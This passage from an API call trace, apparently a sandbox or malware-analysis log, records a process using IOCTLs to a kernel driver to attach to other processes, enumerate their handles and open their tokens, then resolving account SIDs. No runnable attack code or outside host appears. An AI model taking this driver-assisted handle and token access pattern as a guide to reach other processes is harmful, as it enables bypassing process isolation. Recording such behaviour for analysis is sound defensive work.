dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.516] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.516] PsAcquireProcessExitSynchronization () returned 0x0 [0122.516] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.516] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003295dd0, HandleInformation=0x0) returned 0x0 [0122.516] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.516] PsReleaseProcessExitSynchronization () returned 0x2 [0122.516] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.516] ObQueryNameString (in: Object=0xfffffa80027b0e40, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.516] ObfDereferenceObject (Object=0xfffffa8003295dd0) returned 0x1 [0122.516] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.516] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.516] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.516] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.516] PsAcquireProcessExitSynchronization () returned 0x0 [0122.516] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.516] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800329cab0, HandleInformation=0x0) returned 0x0 [0122.516] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.516] PsReleaseProcessExitSynchronization () returned 0x2 [0122.516] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.516] ObQueryNameString (in: Object=0xfffffa800329cab0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.516] ObfDereferenceObject (Object=0xfffffa800329cab0) returned 0x1 [0122.516] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.516] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.517] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0122.517] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.517] PsAcquireProcessExitSynchronization () returned 0x0 [0122.517] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.517] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032c3070, HandleInformation=0x0) returned 0x0 [0122.517] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.517] PsReleaseProcessExitSynchronization () returned 0x2 [0122.517] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.517] ObQueryNameString (in: Object=0xfffffa80032c3070, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.517] ObfDereferenceObject (Object=0xfffffa80032c3070) returned 0xe [0122.517] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.517] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.517] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.517] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.517] PsAcquireProcessExitSynchronization () returned 0x0 [0122.517] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.517] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800316ca60, HandleInformation=0x0) returned 0x0 [0122.517] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.517] PsReleaseProcessExitSynchronization () returned 0x2 [0122.517] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.517] ObQueryNameString (in: Object=0xfffffa800316ca60, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.517] ObfDereferenceObject (Object=0xfffffa800316ca60) returned 0x5 [0122.517] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.517] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.517] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.518] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.518] PsAcquireProcessExitSynchronization () returned 0x0 [0122.518] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.518] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003302990, HandleInformation=0x0) returned 0x0 [0122.518] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.518] PsReleaseProcessExitSynchronization () returned 0x2 [0122.518] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.518] ObQueryNameString (in: Object=0xfffffa8003302990, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.518] ObfDereferenceObject (Object=0xfffffa8003302990) returned 0x1 [0122.518] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.518] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.518] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.518] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.518] PsAcquireProcessExitSynchronization () returned 0x0 [0122.518] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.518] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.518] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.518] PsReleaseProcessExitSynchronization () returned 0x2 [0122.518] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.518] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.518] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.518] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.518] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.518] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.518] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.518] PsAcquireProcessExitSynchronization () returned 0x0 [0122.519] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.519] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.519] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.519] PsReleaseProcessExitSynchronization () returned 0x2 [0122.519] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.519] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.519] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.519] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.519] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.519] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.519] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.519] PsAcquireProcessExitSynchronization () returned 0x0 [0122.519] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.519] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0122.519] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.519] PsReleaseProcessExitSynchronization () returned 0x2 [0122.519] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.519] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.519] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0122.519] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.519] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.519] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.519] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.519] PsAcquireProcessExitSynchronization () returned 0x0 [0122.519] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.519] ObReferenceObjectByHandle (in: Handle=0x4a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800352ec00, HandleInformation=0x0) returned 0x0 [0122.519] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.519] PsReleaseProcessExitSynchronization () returned 0x2 [0122.519] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.519] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.519] ObfDereferenceObject (Object=0xfffffa800352ec00) returned 0x1 [0122.519] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.520] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.520] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.520] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.520] PsAcquireProcessExitSynchronization () returned 0x0 [0122.520] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880044355d0) [0122.520] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0122.520] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.520] PsReleaseProcessExitSynchronization () returned 0x2 [0122.520] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0122.520] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.520] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0122.520] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.520] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.520] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x530) returned 0xc0 [0122.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.520] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800330c360, HandleInformation=0x0) returned 0x0 [0122.520] ObOpenObjectByPointer (in: Object=0xfffffa800330c360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800005e0) returned 0x0 [0122.520] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x37 [0122.520] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005e0, DesiredAccess=0x8, TokenHandle=0xfffffa80026f14c0 | out: TokenHandle=0xfffffa80026f14c0*=0xc8) returned 0x0 [0122.520] ZwClose (Handle=0xffffffff800005e0) returned 0x0 [0122.520] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.520] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.520] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.646] CloseHandle (hObject=0xc8) returned 1 [0122.646] CloseHandle (hObject=0xc0) returned 1 [0122.646] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.646] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.646] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.646] PsAcquireProcessExitSynchronization () returned 0x0 [0122.646] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880044355d0) [0122.646] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800330cf20, HandleInformation=0x0) returned 0x0 [0122.646] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.646] PsReleaseProcessExitSynchronization () returned 0x2 [0122.646] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0122.646] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.646] ObfDereferenceObject (Object=0xfffffa800330cf20) returned 0x1 [0122.646] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.647] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.647] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.647] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.647] PsAcquireProcessExitSynchronization () returned 0x0 [0122.647] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880044355d0) [0122.647] ObReferenceObjectByHandle (in: Handle=0x68, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032b3c80, HandleInformation=0x0) returned 0x0 [0122.647] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.647] PsReleaseProcessExitSynchronization () returned 0x2 [0122.647] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0122.647] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.647] ObfDereferenceObject (Object=0xfffffa80032b3c80) returned 0x1 [0122.647] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.647] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.647] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.647] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.647] PsAcquireProcessExitSynchronization () returned 0x0 [0122.647] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880044355d0) [0122.647] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.647] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.647] PsReleaseProcessExitSynchronization () returned 0x2 [0122.647] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0122.647] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.647] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.647] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.647] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.648] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.648] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.648] PsAcquireProcessExitSynchronization () returned 0x0 [0122.648] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880044355d0) [0122.648] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.648] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.648] PsReleaseProcessExitSynchronization () returned 0x2 [0122.648] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0122.648] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.648] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.648] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.648] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.648] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x720) returned 0xc0 [0122.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.648] ObReferenceObjectByHandle (in: 